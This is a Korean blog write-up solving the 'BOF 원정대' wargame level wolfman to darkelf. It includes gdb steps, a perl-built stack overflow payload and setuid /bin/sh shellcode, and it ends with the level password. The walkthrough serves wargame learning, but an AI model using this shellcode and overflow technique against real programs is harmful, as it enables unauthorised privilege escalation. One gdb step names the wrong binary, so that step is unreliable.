심심해서 하는 블로그 :: [버퍼 오버플로우] Bof 원정대 (wolfman -> darkelf)

1. 취약점


그 전의 문제와 똑같은데 중간에 argv[1]의 길이를 묻는 구문이 있다.

길이가 48보다 크면 프로그램을 중지한다는 건데 buffer 40byte + sfp 4byte + new Return Address 4btye하면 딱 48byte니까 저번이랑 문제를 똑같이 풀어도 무관하다.


2. Exploit

1. bash2를 사용하고 darkelf.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp darkelf.c /tmp/darkelf.c && cd /tmp


2. gcc로 컴파일을 한다.  

$ gcc -g -o darkelf darkelf.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./wolfman


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



memset이후의 새로운 Return Address를 지정할 위치를 파악하기 위해 이 곳을 중담점으로 한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+275

(gdb) r `perl -e 'print "A"x 44, "\xbf"x4'` `perl -e 'print "B"x61'`

(gdb) x/150x $esp



Return Address는 0xbffffc38로 정했다



6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

memset의 결과로 buffer의 앞 쪽 40byte는 0으로 변경되었다. 하지만 그 후의 주소에 저장된 값은 그대로 유지되므로 영향력이 없다. 


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

./darkelf `perl -e 'print "A"x44, "\x38\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



8. 결과

   id : darkelf     passwd : kernel crashed

,